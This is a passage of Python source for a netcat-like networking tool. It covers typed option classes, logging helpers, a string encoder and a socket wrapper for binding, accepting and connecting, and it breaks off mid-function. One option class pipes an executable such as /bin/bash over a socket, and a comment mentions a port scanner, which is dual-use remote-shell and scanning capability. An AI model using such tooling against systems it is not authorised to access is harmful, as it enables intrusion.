STRUCTURE TYPES]: (7/12) DsIONetworkCli # ------------------------------------------------------------------------------------------------- class DsIONetworkCli(object): """A type-safe data structure for IONetwork client options.""" # -------------------------------------------------------------------------- # Properties # -------------------------------------------------------------------------- @property def reconn(self): # type: () -> int """`int`: If connection fails, retry endless (if negative) or x many times.""" return self.__reconn @reconn.setter def reconn(self, value): # type: (int) -> None assert type(value) is int, type(value) self.__reconn = value @property def reconn_wait(self): # type: () -> float """`float`: Wait time between re-connections in seconds.""" return self.__reconn_wait @reconn_wait.setter def reconn_wait(self, value): # type: (float) -> None assert type(value) is float, type(value) self.__reconn_wait = value @property def reconn_robin(self): # type: () -> List[int] """`[int]`: List of alternating re-connection ports.""" return self.__reconn_robin # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- def __init__(self, reconn, reconn_wait, reconn_robin): # type: (int, float, List[int]) -> None assert type(reconn) is int, type(reconn) assert type(reconn_wait) is float, type(reconn_wait) assert type(reconn_robin) is list, type(reconn_robin) for i in reconn_robin: assert type(i) is int, type(i) self.__reconn = reconn self.__reconn_wait = reconn_wait self.__reconn_robin = reconn_robin # ------------------------------------------------------------------------------------------------- # [2/11 DATA STRUCTURE TYPES]: (8/12) DsIONetworkSrv # ------------------------------------------------------------------------------------------------- class DsIONetworkSrv(object): """A type-safe data structure for IONetwork server options.""" # -------------------------------------------------------------------------- # Properties # -------------------------------------------------------------------------- @property def keep_open(self): # type: () -> bool """`bool`: Accept new clients if one has disconnected.""" return bool(self.__keep_open) @keep_open.setter def keep_open(self, value): # type: (bool) -> None """Change keep_open value.""" assert type(value) is bool, type(value) self.__keep_open = value @property def rebind(self): # type: () -> int """`int`: If binding fails, retry endless (if negative) or x many times.""" return self.__rebind @rebind.setter def rebind(self, value): # type: (int) -> None assert type(value) is int, type(value) self.__rebind = value @property def rebind_wait(self): # type: () -> float """`float`: Wait time between rebinds in seconds.""" return self.__rebind_wait @property def rebind_robin(self): # type: () -> List[int] """`[int]`: List of alternating rebind ports.""" return self.__rebind_robin # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- def __init__(self, keep_open, rebind, rebind_wait, rebind_robin): # type: (bool, int, float, List[int]) -> None assert type(keep_open) is bool, type(keep_open) assert type(rebind) is int, type(rebind) assert type(rebind_wait) is float, type(rebind_wait) assert type(rebind_robin) is list, type(rebind_robin) for i in rebind_robin: assert type(i) is int, type(i) self.keep_open = keep_open self.__rebind = rebind self.__rebind_wait = rebind_wait self.__rebind_robin = rebind_robin # ------------------------------------------------------------------------------------------------- # [2/11 DATA STRUCTURE TYPES]: (9/12) DsTransformLinefeed # ------------------------------------------------------------------------------------------------- class DsTransformLinefeed(object): """A type-safe data structure for DsTransformLinefeed options.""" # -------------------------------------------------------------------------- # Properties # -------------------------------------------------------------------------- @property def crlf(self): # type: () -> Optional[str] """`bool`: Converts line endings to LF, CRLF or CR and noop on `None`.""" return self.__crlf # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- def __init__(self, crlf): # type: (Optional[str]) -> None super(DsTransformLinefeed, self).__init__() self.__crlf = crlf # ------------------------------------------------------------------------------------------------- # [2/11 DATA STRUCTURE TYPES]: (10/12) DsTransformSafeword # ------------------------------------------------------------------------------------------------- class DsTransformSafeword(object): """A type-safe data structure for DsTransformSafeword options.""" # -------------------------------------------------------------------------- # Properties # -------------------------------------------------------------------------- @property def ssig(self): # type: () -> InterruptHandler """`InterruptHandler`: InterruptHandler instance to trigger a shutdown signal.""" return self.__ssig @property def safeword(self): # type: () -> str """`str`: The safeword to shutdown the instance upon receiving.""" return self.__safeword # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- def __init__(self, ssig, safeword): # type: (InterruptHandler, str) -> None super(DsTransformSafeword, self).__init__() self.__ssig = ssig self.__safeword = safeword # ------------------------------------------------------------------------------------------------- # [2/11 DATA STRUCTURE TYPES]: (11/12) DsIOStdinStdout # ------------------------------------------------------------------------------------------------- class DsIOStdinStdout(object): """A type-safe data structure for IOStdinStdout options.""" # -------------------------------------------------------------------------- # Properties # -------------------------------------------------------------------------- @property def enc(self): # type: () -> StringEncoder """`StringEncoder`: String encoder instance.""" return self.__enc @property def input_timeout(self): # type: () -> Optional[float] """`float`: Input timeout in seconds for non-blocking read or `None` for blocking.""" return self.__input_timeout @property def send_on_eof(self): # type: () -> bool """`float`: Determines if we buffer STDIN until EOF before sending.""" return self.__send_on_eof # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- def __init__(self, encoder, input_timeout, send_on_eof): # type: (StringEncoder, Optional[float], bool) -> None super(DsIOStdinStdout, self).__init__() self.__enc = encoder self.__input_timeout = input_timeout self.__send_on_eof = send_on_eof # ------------------------------------------------------------------------------------------------- # [2/11 DATA STRUCTURE TYPES]: (12/12) DsIOCommand # ------------------------------------------------------------------------------------------------- class DsIOCommand(object): """A type-safe data structure for IOCommand options.""" # -------------------------------------------------------------------------- # Properties # -------------------------------------------------------------------------- @property def enc(self): # type: () -> StringEncoder """`StringEncoder`: Instance of StringEncoder.""" return self.__enc @property def executable(self): # type: () -> str """`srt`: Name or path of executable to run (e.g.: `/bin/bash`).""" return self.__executable @property def bufsize(self): # type: () -> int """`int`: `subprocess.Popen` bufsize. https://docs.python.org/3/library/subprocess.html#popen-constructor 0 means unbuffered (read and write are one system call and can return short) 1 means line buffered (only usable if universal_newlines=True i.e., in a text mode) any other positive value means use a buffer of approximately that size negative bufsize (the default) means system default of io.DEFAULT_BUFFER_SIZE will be used. """ return self.__bufsize # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- def __init__(self, enc, executable, bufsize): # type: (StringEncoder, str, int) -> None self.__enc = enc self.__executable = executable self.__bufsize = bufsize # ################################################################################################# # ################################################################################################# # ### # ### 3 / 11 L I B R A R Y C L A S S E S # ### # ################################################################################################# # ################################################################################################# # ------------------------------------------------------------------------------------------------- # [3/11 LIBRARY CLASSES]: (1/3) TraceLogger # ------------------------------------------------------------------------------------------------- class TraceLogger(logging.getLoggerClass()): # type: ignore """Extend Python's default logger class with TRACE level logging.""" LEVEL_NUM = 9 LEVEL_NAME = "TRACE" # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- def __init__(self, name, level=logging.NOTSET): # type: (str, int) -> None """Instantiate TraceLogger class. Args: name (str): Instance name. level (int): Current log level. """ super(TraceLogger, self).__init__(name, level) logging.addLevelName(self.LEVEL_NUM, self.LEVEL_NAME) # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def trace(self, msg, *args, **kwargs): # type: (str, Any, Any) -> None """Set custom log level for TRACE. Args: msg (str): The log message. args (args): *args for trace level log function. kwargs (kwargs): kwargs for trace level log function. """ if self.isEnabledFor(self.LEVEL_NUM): # Yes, logger takes its '*args' as 'args'. self._log(self.LEVEL_NUM, msg, args, **kwargs) # ------------------------------------------------------------------------------------------------- # [3/11 LIBRARY CLASSES]: (2/3) ColoredLogFormatter # ------------------------------------------------------------------------------------------------- class ColoredLogFormatter(logging.Formatter): """Custom log formatter which adds different details and color support.""" COLORS = { logging.CRITICAL: "\x1b[31;1m", # bold red logging.ERROR: "\x1b[31;21m", # red logging.WARNING: "\x1b[33;21m", # yellow logging.INFO: "\x1b[32;21m", # green logging.DEBUG: "\x1b[30;21m", # gray } COLOR_DEF = COLORS[logging.DEBUG] COLOR_RST = "\x1b[0m" # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- def __init__(self, color, loglevel): # type: (str, int) -> None """Instantiate ColoredLogFormatter class. Args: color (str): Either be `alway`, `never` or `auto`. loglevel (int): Current desired log level. """ super(ColoredLogFormatter, self).__init__() self.color = color self.loglevel = loglevel self.tty = sys.stderr.isatty() # -------------------------------------------------------------------------- # Public Functions # -------------------------------------------------------------------------- def format(self, record): # type: (logging.LogRecord) -> str """Apply custom formatting to log message.""" log_fmt = self.__get_format() log_fmt = self.__colorize(record.levelno, log_fmt) formatter = logging.Formatter(log_fmt) return formatter.format(record) # -------------------------------------------------------------------------- # Private Functions # -------------------------------------------------------------------------- def __get_format(self): # type: () -> str """Return format string based on currently applied log level.""" # In debug logging we add slightly more info to all formats if self.loglevel == logging.DEBUG: return "%(levelname)s [%(threadName)s]: %(message)s" # In lower than debug logging we will add even more info to all log formats if self.loglevel < logging.DEBUG: return ( "%(asctime)s %(levelname)s [%(threadName)s] %(lineno)d:%(funcName)s(): %(message)s" ) # By default, we will only add basic info return "%(levelname)s: %(message)s" def __colorize(self, level, fmt): # type: (int, str) -> str """Colorize a log message based on its level.""" if self.color == "never": return fmt # If stderr is redirected to a file or we're running on windows, do not do colorize if self.color == "auto" and (not self.tty or os.name == "nt"): return fmt return self.COLORS.get(level, self.COLOR_DEF) + fmt + self.COLOR_RST # ------------------------------------------------------------------------------------------------- # [3/11 LIBRARY CLASSES]: (3/3) StringEncoder # ------------------------------------------------------------------------------------------------- class StringEncoder(object): """Takes care about Python 2/3 string encoding/decoding. This allows to parse all string/byte values internally between all classes or functions as strings to keep full Python 2/3 compat. """ CODECS = [ "utf-8", "cp437", "latin-1", ] # -------------------------------------------------------------------------- # Class methods # -------------------------------------------------------------------------- @classmethod def rstrip(cls, data, search=None): # type: (Union[bytes, str], Optional[str]) -> Union[bytes, str] """Implementation of rstring which works on bytes or strings.""" # We have a bytes object in Python3 if sys.version_info >= (3, 0) and type(data) is not str: # Strip whitespace if search is None: while True: new = data new = cls.rstrip(new, " ") new = cls.rstrip(new, "\n") new = cls.rstrip(new, "\r") new = cls.rstrip(new, "\t") # Loop until no more changes occur if new == data: return new else: bsearch = StringEncoder.encode(search) while data[-1:] == bsearch: data = data[:-1] return data # Use native function if search is None: return data.rstrip() return data.rstrip(search) # type: ignore @classmethod def encode(cls, data): # type: (str) -> bytes """Convert string into a byte type for Python3.""" if sys.version_info >= (3, 0): for codec in cls.CODECS: # On the last codec, do not catch the exception and let it trigger if it fails if codec == cls.CODECS[-1]: return data.encode(codec) try: return data.encode(codec) except UnicodeEncodeError: pass return data # type: ignore @classmethod def decode(cls, data): # type: (bytes) -> str """Convert bytes into a string type for Python3.""" if sys.version_info >= (3, 0): for codec in cls.CODECS: # On the last codec, do not catch the exception and let it trigger if it fails if codec == cls.CODECS[-1]: return data.decode(codec) try: return data.decode(codec) except UnicodeDecodeError: pass return data # type: ignore # ################################################################################################# # ################################################################################################# # ### # ### 4 / 11 N E T W O R K # ### # ################################################################################################# # ################################################################################################# # ------------------------------------------------------------------------------------------------- # [4/11 NETWORK]: (1/1) Sock # ------------------------------------------------------------------------------------------------- class Sock(_Singleton("SingletonMeta", (object,), {})): # type: ignore """Thread-safe singleton Socket wrapper to emulate a module within the same file.""" def __init__(self): # type: () -> None self.__log = logging.getLogger(__name__) # -------------------------------------------------------------------------- # Private constants # -------------------------------------------------------------------------- # For Internet Protocol v4 the value consists of an integer, the least # significant 8 bits of which represent the value of the TOS octet in IP # packets sent by the socket. RFC 1349 defines the TOS values as follows: __IP_TOS = { "mincost": 0x02, "lowcost": 0x02, "reliability": 0x04, "throughput": 0x08, "lowdelay": 0x10, } # Human readable address families __AF_HUMAN = { int(socket.AF_INET): "IPv4", int(socket.AF_INET6): "IPv6", } # Human readable socket types __ST_HUMAN = { int(socket.SOCK_STREAM): "TCP", int(socket.SOCK_DGRAM): "UDP", } # https://hg.python.org/cpython/file/3.5/Modules/socketmodule.c __SOCK_OPTS = { "Sock": [ "SO_DEBUG", "SO_ACCEPTCONN", "SO_REUSEADDR", "SO_EXCLUSIVEADDRUSE", "SO_KEEPALIVE", "SO_DONTROUTE", "SO_BROADCAST", "SO_USELOOPBACK", "SO_LINGER", "SO_OOBINLINE", "SO_REUSEPORT", "SO_SNDBUF", "SO_RCVBUF", "SO_SNDLOWAT", "SO_RCVLOWAT", "SO_SNDTIMEO", "SO_RCVTIMEO", "SO_ERROR", "SO_TYPE", "SO_SETFIB", "SO_PASSCRED", "SO_PEERCRED", "LOCAL_PEERCRED", "SO_BINDTODEVICE", "SO_PRIORITY", "SO_MARK", ], "IPv4": [ "IP_OPTIONS", "IP_HDRINCL", "IP_TOS", "IP_TTL", "IP_RECVOPTS", "IP_RECVRETOPTS", "IP_RECVDSTADDR", "IP_RETOPTS", "IP_MULTICAST_IF", "IP_MULTICAST_TTL", "IP_MULTICAST_LOOP", "IP_ADD_MEMBERSHIP", "IP_DROP_MEMBERSHIP", "IP_DEFAULT_MULTICAST_TTL", "IP_DEFAULT_MULTICAST_LOOP", "IP_MAX_MEMBERSHIPS", "IP_TRANSPARENT", ], "IPv6": [ "IPV6_JOIN_GROUP", "IPV6_LEAVE_GROUP", "IPV6_MULTICAST_HOPS", "IPV6_MULTICAST_IF", "IPV6_MULTICAST_LOOP", "IPV6_UNICAST_HOPS", "IPV6_V6ONLY", "IPV6_CHECKSUM", "IPV6_DONTFRAG", "IPV6_DSTOPTS", "IPV6_HOPLIMIT", "IPV6_HOPOPTS", "IPV6_NEXTHOP", "IPV6_PATHMTU", "IPV6_PKTINFO", "IPV6_RECVDSTOPTS", "IPV6_RECVHOPLIMIT", "IPV6_RECVHOPOPTS", "IPV6_RECVPKTINFO", "IPV6_RECVRTHDR", "IPV6_RECVTCLASS", "IPV6_RTHDR", "IPV6_RTHDRDSTOPTS", "IPV6_RTHDR_TYPE_0", "IPV6_RECVPATHMTU", "IPV6_TCLASS", "IPV6_USE_MIN_MTU", ], "TCP": [ "TCP_NODELAY", "TCP_MAXSEG", "TCP_CORK", "TCP_KEEPIDLE", "TCP_KEEPINTVL", "TCP_KEEPCNT", "TCP_SYNCNT", "TCP_LINGER2", "TCP_DEFER_ACCEPT", "TCP_WINDOW_CLAMP", "TCP_INFO", "TCP_QUICKACK", "TCP_FASTOPEN", ], } # -------------------------------------------------------------------------- # Static methods # -------------------------------------------------------------------------- @staticmethod def is_ipv6_address(host): # type: (str) -> bool """Check if a given str is a valid IPv6 address.""" # TODO: check for link-local addresses (start with: fe80) # https://stackoverflow.com/questions/3801701 # [1/4] socket.inet_pton if hasattr(socket, "inet_pton"): try: socket.inet_pton(socket.AF_INET6, host) return True except socket.error: return False # [2/4] optional module: ipaddress try: addr = unicode(host) # type: ignore except NameError: addr = host try: try: ipaddress.IPv6Address(addr) return True except ipaddress.AddressValueError: return False except NameError: pass # [3/4] regex # This is a poor mans solution, but we only want to know if it # is on the format of IPv6 and not if it is a valid IPv6. The # validation will be figured out during connect() reg = r"^([a-f0-9]{0,4}:){5}[a-f0-9]{0,4}$" if re.match(reg, host): return True # [4/4] Nope return False @staticmethod def is_ipv4_address(host): # type: (str) -> bool """Check if a given str is a valid IPv4 address.""" # [1/5] socket.inet_aton if hasattr(socket, "inet_aton"): try: socket.inet_aton(host) return True except socket.error: return False # [2/5] socket.inet_pton if hasattr(socket, "inet_pton"): try: socket.inet_pton(socket.AF_INET, host) return True except socket.error: return False # [3/5] optional module: ipaddress try: addr = unicode(host) # type: ignore except NameError: addr = host try: try: ipaddress.IPv4Address(addr) return True except ipaddress.AddressValueError: return False except NameError: pass # [4/5] regex # This is a poor mans solution, but we only want to know if it # is on the format of IPv4 and not if it is a valid IPv4. The # validation will be figured out during connect() reg = r"^([0-9]{1,3}\.){3}[0-9]{1,3}$" if re.match(reg, host): return True # [5/5] Nope return False # -------------------------------------------------------------------------- # Get functions # -------------------------------------------------------------------------- def get_iptos_by_name(self, name): # type: (str) -> int """Get IP Type of Service hexadecimal value by name.""" assert name in self.__IP_TOS return self.__IP_TOS[name] def get_family_name(self, family): # type: (Union[socket.AddressFamily, int]) -> str """Returns human readable name of given address family as str.""" try: return self.__AF_HUMAN[int(family)] except KeyError: self.__log.error( "Invalid key for address family: %s (type: %s) (valid: %s)", repr(family), repr(type(family)), repr(self.__AF_HUMAN), ) return "unknown" def get_type_name(self, sock_type): # type: (int) -> str """Returns human readable name of given socket type as str.""" try: return self.__ST_HUMAN[int(sock_type)] except KeyError: self.__log.error( "Invalid key for address sock_type: %s (type: %s) (valid: %s)", repr(sock_type), repr(type(sock_type)), repr(self.__ST_HUMAN), ) return "unknown" def get_sock_opts(self, sock, opts): # type: (Sock, socket.socket, Optional[str]) -> List[str] """Debug logs configured socket options.""" if opts is None: return [] assert opts in ["all", "sock", "ipv4", "ipv6", "tcp"], "Value: {}".format(repr(opts)) info = [] for proto, optnames in self.__SOCK_OPTS.items(): if opts == "all" or proto.lower() == opts: for optname in optnames: if proto.lower() == "sock": level = socket.SOL_SOCKET elif proto.lower() == "ipv4": level = socket.IPPROTO_IP elif proto.lower() == "ipv6": level = socket.IPPROTO_IPV6 elif proto.lower() == "tcp": level = socket.IPPROTO_TCP try: info.append( "{}: {}: {}".format( proto, optname, sock.getsockopt( level, eval("socket." + optname) # pylint: disable=eval-used ), ) ) except AttributeError: pass except (OSError, socket.error): pass return info def gethostbyname(self, host, family, resolvedns): # type: (Sock, Optional[str], Union[socket.AddressFamily, int], bool) -> str """Translate hostname into a IP address for a given address family. Args: host (str): The hostname to resolvea. family (socket.family): IPv4 or IPv6 family Returns: str: Numeric IP address. Raises: socket.gaierror: If hostname cannot be resolved. """ socktype = 0 proto = 0 flags = 0 port = None family = int(family) # [1/4] Wildcard without host if host is None: if family == int(socket.AF_INET): self.__log.debug("Resolving IPv4 name not required, using wildcard: 0.0.0.0") return "0.0.0.0" if family == int(socket.AF_INET6): self.__log.debug("Resolving IPv6 name not required, using wildcard: ::") return "::" assert host is not None # [2/4] Already an IP address if family == int(socket.AF_INET6): if Sock.is_ipv6_address(host): self.__log.debug("Resolving IPv6 name not required, already an IP: %s", host) return host # Map IPv4 address to IPv6 host6 = "::ffff:" + host if Sock.is_ipv6_address(host6): self.__log.debug("Resolving IPv4 name not required, changing to IPv6: %s", host6) return host6 elif family == int(socket.AF_INET): if Sock.is_ipv4_address(host): self.__log.debug("Resolving IPv4 host not required, already an IP: %s", host) return host # [3/4] Do we disable DNS resolution? if not resolvedns: flags = socket.AI_NUMERICHOST # [4/4] Resolve try: infos = socket.getaddrinfo(host, port, family, socktype, proto, flags) addr = str(infos[0][4][0]) self.__log.debug("Resolved %s host: %s", self.get_family_name(family), addr) return addr except (AttributeError, socket.gaierror) as error: msg = "Resolving {} host: {} failed: {}".format( self.get_family_name(family), str(host), str(error) ) self.__log.debug(msg) raise socket.gaierror(msg) # type: ignore # -------------------------------------------------------------------------- # Create functions # -------------------------------------------------------------------------- def create_socket(self, family, sock_type, reuse_addr, ip_tos_name=None): # type: (Union[socket.AddressFamily, int], int, bool, Optional[str]) -> socket.socket """Create TCP or UDP socket. Args: family (socket.family): The address family for which to create the socket for. sock_type (int): The socket type: socket.SOCK_DGRAM or socket.SOCK_STREAM reuse_addr (bool): Set SO_REUSEADDR on the socket. ip_tos_name (str): Optional IP type of service value to apply to socket Returns: socket.socket: Returns TCP or UDP socket for the given address family. Raises: socket.error: If socket cannot be created. """ assert int(sock_type) in [int(socket.SOCK_DGRAM), int(socket.SOCK_STREAM)] try: if int(sock_type) == int(socket.SOCK_DGRAM): self.__log.debug( "Creating (family %d/%s, UDP) socket", int(family), self.get_family_name(family) ) sock = socket.socket(family, socket.SOCK_DGRAM) else: self.__log.debug( "Creating (family %d/%s, TCP) socket", int(family), self.get_family_name(family) ) sock = socket.socket(family, socket.SOCK_STREAM) except socket.error as error: msg = "Creating (family {}/{}, {}) socket failed: {}".format( int(family), self.get_family_name(family), self.get_type_name(sock_type), error ) self.__log.debug(msg) raise socket.error(msg) if family == socket.AF_INET6: # On Linux, IPv6 sockets accept IPv4 too by default, but this makes # it impossible to bind to both 0.0.0.0 in IPv4 and :: in IPv6. # On other systems, separate sockets *must* be used to listen for # both IPv4 and IPv6. For consistency, always disable IPv4 on our # IPv6 sockets and use a separate ipv4 socket when needed. # # Python 2.x on windows doesn't have IPPROTO_IPV6. if hasattr(socket, "IPPROTO_IPV6"): self.__log.debug( "Disabling IPv4 support on %s socket", self.get_family_name(family) ) sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 1) # Get around the "[Errno 98] Address already in use" error, if the socket is still in wait # we instruct it to reuse the address anyway. if reuse_addr: sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # If requested, set IP Type of Service value for current socket if ip_tos_name is not None: ip_tos_val = self.get_iptos_by_name(ip_tos_name) self.__log.debug("Setting IP_TOS to: %d (%s)", ip_tos_val, ip_tos_name) sock.setsockopt(socket.IPPROTO_IP, socket.IP_TOS, ip_tos_val) # All done, return it to the requestor return sock def bind(self, sock, addr, port): # type: (socket.socket, str, int) -> None """Bind the socket to an address. Args: sock (socket.socket): The socket to bind. addr (str): The numerical IP address to bind to. port (int): The port to bind to. Raises: socket.error if socket cannot be bound. """ sock_family_name = self.get_family_name(sock.family) sock_type_name = self.get_type_name(sock.type) self.__log.debug( "Binding (family %d/%s, %s) socket to %s:%d", int(sock.family), sock_family_name, sock_type_name, addr, port, ) try: sock.bind((addr, port)) except (OverflowError, OSError, socket.gaierror, socket.error) as error: msg = "Binding (family {}/{}, {}) socket to {}:{} failed: {}".format( sock.family, sock_family_name, sock_type_name, addr, port, error ) raise socket.error(msg) def listen(self, sock, backlog): # type: (socket.socket, int) -> None """Listen for connections made to the socket. Args: sock (socket.socket): The socket to listen on. backlog (int): Listen backlog Raises: socket.error: If listening fails. """ try: self.__log.debug("Listening with backlog=%d", backlog) sock.listen(backlog) except socket.error as error: msg = "Listening failed: {}".format(error) self.__log.error(msg) raise socket.error(msg) def accept( self, sockets, # type: List[socket.socket] has_quit, # type: Callable[[], bool] select_timeout=0.01, # type: float ): # type: (...) -> Tuple[socket.socket, Tuple[str, int]] """Accept a single connection from given list of sockets. Given sockets must be bound to an addr and listening for connections. Args: sock ([socket.socket]): List of sockets IPv4 and/or IPv6 to accept on. has_quit (Callable[[], bool]): A function that returns True if abort is requested. select_timeout (float): Timeout to poll sockets for connected clients. Returns: (socket.socket, str, int): Returns tuple of socket, address and port of client. Raises: socket.error: Raised if server cannot accept connection or stop signal is requested. """ self.__log.debug("Waiting for TCP client") while True: try: ssockets = select.select(sockets, [], [], select_timeout)[ 0 ] # type: List[socket.socket] except select.error as err: raise socket.error(err) if has_quit(): raise socket.error("SOCK-QUIT signal ACK for accept(): raised socket.error()") for sock in ssockets: try: conn, addr = sock.accept() except (socket.gaierror, socket.error) as error: msg = "Accept failed: {}".format(error) self.__log.error(msg) raise socket.error(msg) self.__log.info( "Client connected from %s:%d (family %d/%s, TCP)", addr[0], addr[1], int(conn.family), self.get_family_name(conn.family), ) return conn, (addr[0], addr[1]) def connect( self, sock, # type: socket.socket addr, # type: str port, # type: int src_addr=None, # type: Optional[str] src_port=None, # type: Optional[int] udp_sconnect=False, # type: bool udp_send_payload=b"", # type: bytes udp_recv_bufsize=8192, # type: int udp_recv_timeout=0.1, # type: float ): # type: (...) -> Tuple[str, int] """Connect to a remote socket at given address and port. Args: sock (socket.socket): The socket to use for connecting/communication. addr (str): Numerical IP address of server to connect to. port (int): Port of server to connect to. Returns: Tuple[str,int]: Adress/port tuple of local bind of the client. Raises: socker.error: If client cannot connect to remote peer or custom bind did not succeed. """ try: # If the socket was already closed elsewhere, it won't have family or type anymore sock_family_name = self.get_family_name(sock.family) sock_type_name = self.get_type_name(sock.type) except AttributeError as error: raise socket.error(error) # Bind to a custom addr/port if src_addr is not None and src_port is not None: try: self.__log.debug("Binding specifically to %s:%d", src_addr, src_port) self.bind(sock, src_addr, src_port) except socket.error as error: raise socket.error(error) try: self.__log.debug( "Connecting to %s:%d (family %d/%s, %s)", addr, port, int(sock.family), sock_family_name, sock_type_name, ) # Ensure to use connect() protocol independent info = socket.getaddrinfo(addr, port, sock.family, sock.type, sock.proto) sock.connect(info[0][4]) # UDP stateful connect # A UDP client doesn't know if the connect() was successful, so the trick # is to send an empty packet and see if an exception is triggered during # receive or simply a timeout (which means success). if udp_sconnect and int(sock.type) == int(socket.SOCK_DGRAM): assert type(udp_send_payload) is bytes assert type(udp_recv_bufsize) is int # Some applications like netcat do not like to receive empty # data, as they treat it as an EOF and will quit upon receive, # so we're using a nullbyte character instead. self.__log.debug( "Trying to send %d bytes (%s) for UDP stateful connect", len(udp_send_payload), repr(udp_send_payload), ) sock.send(udp_send_payload) sock.settimeout(udp_recv_timeout) try: sock.recv(udp_recv_bufsize) except socket.timeout: pass finally: sock.settimeout(0) except (OSError, socket.error) as error: msg = "Connecting to {}:{} (family {}/{}, {}) failed: {}".format( addr, port, sock.family, sock_family_name, sock_type_name, error, ) raise socket.error(msg) local = sock.getsockname() self.__log.debug( "Connected from %s:%d", local[0], local[1], ) self.__log.info( "Connected to %s:%d (family %d/%s, %s)", addr, port, int(sock.family), sock_family_name, sock_type_name, ) return (local[0], local[1]) # -------------------------------------------------------------------------- # Destroy functions # -------------------------------------------------------------------------- def shutdown_recv(self, sock, name): # type: (socket.socket, str) -> None """Shuts down a socket for receiving data (only allow to send data). Args: name (str): Name of the socket used for logging purposes. sock (str): Socket to shutdown for receive. """ try: # (SHUT_RD) 0 = Done receiving (disallows receiving) # (SHUT_WR) 1 = Done sending (disallows sending) # (SHUT_RDWR) 2 = Both self.__log.trace("Shutting down %s socket for receiving", name) # type: ignore sock.shutdown(socket.SHUT_RD) except (OSError, socket.error): # We do not log errors here, as unconnected sockets cannot # be shutdown and we want to throw any socket at this function. pass def shutdown_send(self, sock, name): # type: (socket.socket, str) -> None """Shuts down a socket for sending data (only allow to receive data). Args: name (str): Name of the socket used for logging purposes. sock (str): Socket to shutdown for send. """ try: # (SHUT_RD) 0 = Done receiving (disallows receiving) # (SHUT_WR) 1 = Done sending (disallows sending) # (SHUT_RDWR) 2 = Both self.__log.trace("Shutting down %s socket for sending", name) # type: ignore sock.shutdown(socket.SHUT_WR) except (OSError, socket.error): # We do not log errors here, as unconnected sockets cannot # be shutdown and we want to throw any socket at this function. pass def close(self, sock, name): # pylint: disable=unused-argument,no-self-use # type: (socket.socket, str) -> None """Shuts down and closes a socket. Args: sock (socket.socket): Socket to shutdown and close. name (str): Name of the socket used for logging purposes. """ # NOTE: Logging is removed here as this is too much overhead when using # the port scanner (it will have thousands of threads and too many # calls to the logger which will cause issues with its shutdown # and a massive performance degrade as well. try: # (SHUT_RD) 0 = Done receiving (disallows receiving) # (SHUT_WR) 1 = Done sending (disallows sending) # (SHUT_RDWR) 2 = Both # self.__log.trace("Shutting down %s socket", name) # type: ignore sock.shutdown(socket.SHUT_RDWR) except (OSError, socket.error): # We do not log errors here, as unconnected sockets cannot # be shutdown and we want to throw any socket at this function. pass try: # self.__log.trace("Closing %s socket", name) # type: ignore sock.close() except (OSError, socket.error): pass # self.__log.trace("Could not close %s socket: %s", name, error) # type: ignore class Net(object): """Provides an abstracted server client socket for TCP and UDP.""" # -------------------------------------------------------------------------- # Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, encoder, ssig, options): # type: (StringEncoder, InterruptHandler, DsSock) -> None """Instantiate Sock class. Args: encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat). ssig (InterruptHandler): Used to stop blocking loops. options (DsSock): Instance of DsSock. """ self.__log = logging.getLogger(__name__) # type: logging.Logger self.__enc = encoder self.__ssig = ssig self.__options = options self.__sock = Sock() # Set families to listen on or connect to # Using a list here to ensure IPv6 will always come first if self.__options.ipv6: self.__families = [int(socket.AF_INET6)] elif self.__options.ipv4: self.__families = [int(socket.AF_INET)] else: self.__families = [ int(socket.AF_INET6), int(socket.AF_INET), ] # The connection dictionary. # A dictionary is necessary, as we can have multiple entries for # IPv4 and IPv6 when using UDP in server mode. # # 1.) If the UDP server wants to send data to an UDP client, # it must first wait for the client to send data to get to know # it's IP address (we're not using connect() for UDP here). # 2.) As we allow IPv4 and IPv6 listening at the same time, # we must maintain both entries in that list, until the # UDP client has connected. # Once the UDP client has connected, all unconnected entries # will be removed and the protocol has been determined. # { # : # { # "sock": socket.socket, # <-- bind socket if server # "conn": socket.socket, # <-- send/recv socket # "local_host": , # <-- (server only) hostname or ip address for binding # "local_addr": , # <-- (server only) ip address for binding # "local_port": , # <-- (server only) port for binding # "remote_host": , # <-- hostname or ip address of remote end # "remote_addr": , # <-- numerical ip address of remote end # "remote_port": , # <-- port of remote end # }, # } self.__conns = {} # type: Dict[int, SockConn] # The self.__conns dictionary can hold two entries: IPv4 and IPv6. # In client mode after successful connect, the unused entry is dropped. # In server mode we keep entries for TCP/re-accept() or UDP/connect. # # That would mean for send/recv functions in server mode, we would # always have to loop around entries in self.__conns. To avoid this # we keep track of the currently active connection in self.__active # and only use this, # { # "af": socket.family, # <-- the used socket family # "conn": socket.socket, # <-- send/recv socket # "remote_addr": , # <-- numerical ip address of remote end # "remote_port": , # <-- port of remote end # } self.__active = {} # type: SockActive self.__udp_mode_server = False # type: bool # -------------------------------------------------------------------------- # Public Send / Receive Functions # -------------------------------------------------------------------------- def send_eof(self): # type: () -> None """Close the active socket for sending. The remote part will get an EOF.""" self.__sock.shutdown_send(self.__active["conn"], "conn") def send(self, data): # type: (bytes) -> int """Send data through a connected (TCP) or unconnected (UDP) socket. Args: data (bytes): The data to send. Returns: int: Returns total bytes sent. Raises: socket.error: Except here when unconnected or connection was forcibly closed. """ # UDP has some specialities as its socket is unconnected. # See also recv() for specialities on that side. # In case of sending data to an UDP client, we need to initially wait # until the client has first connected and told us its addr/port. if self.__udp_mode_server: # self.__active will be set in recv() by another thread if not self.__active: self.__log.warning("UDP client has not yet connected. Queueing message") while not self.__active: if self.__ssig.has_sock_quit(): self.__log.trace( # type: ignore "SOCK-QUIT signal ACK in Net.send (while waiting for UDP client)" ) return -1 time.sleep(0.01) curr = 0 # bytes send during one loop iteration send = 0 # total bytes send size = len(data) # bytes of data that needs to be send # Loop until all bytes have been send while send < size: 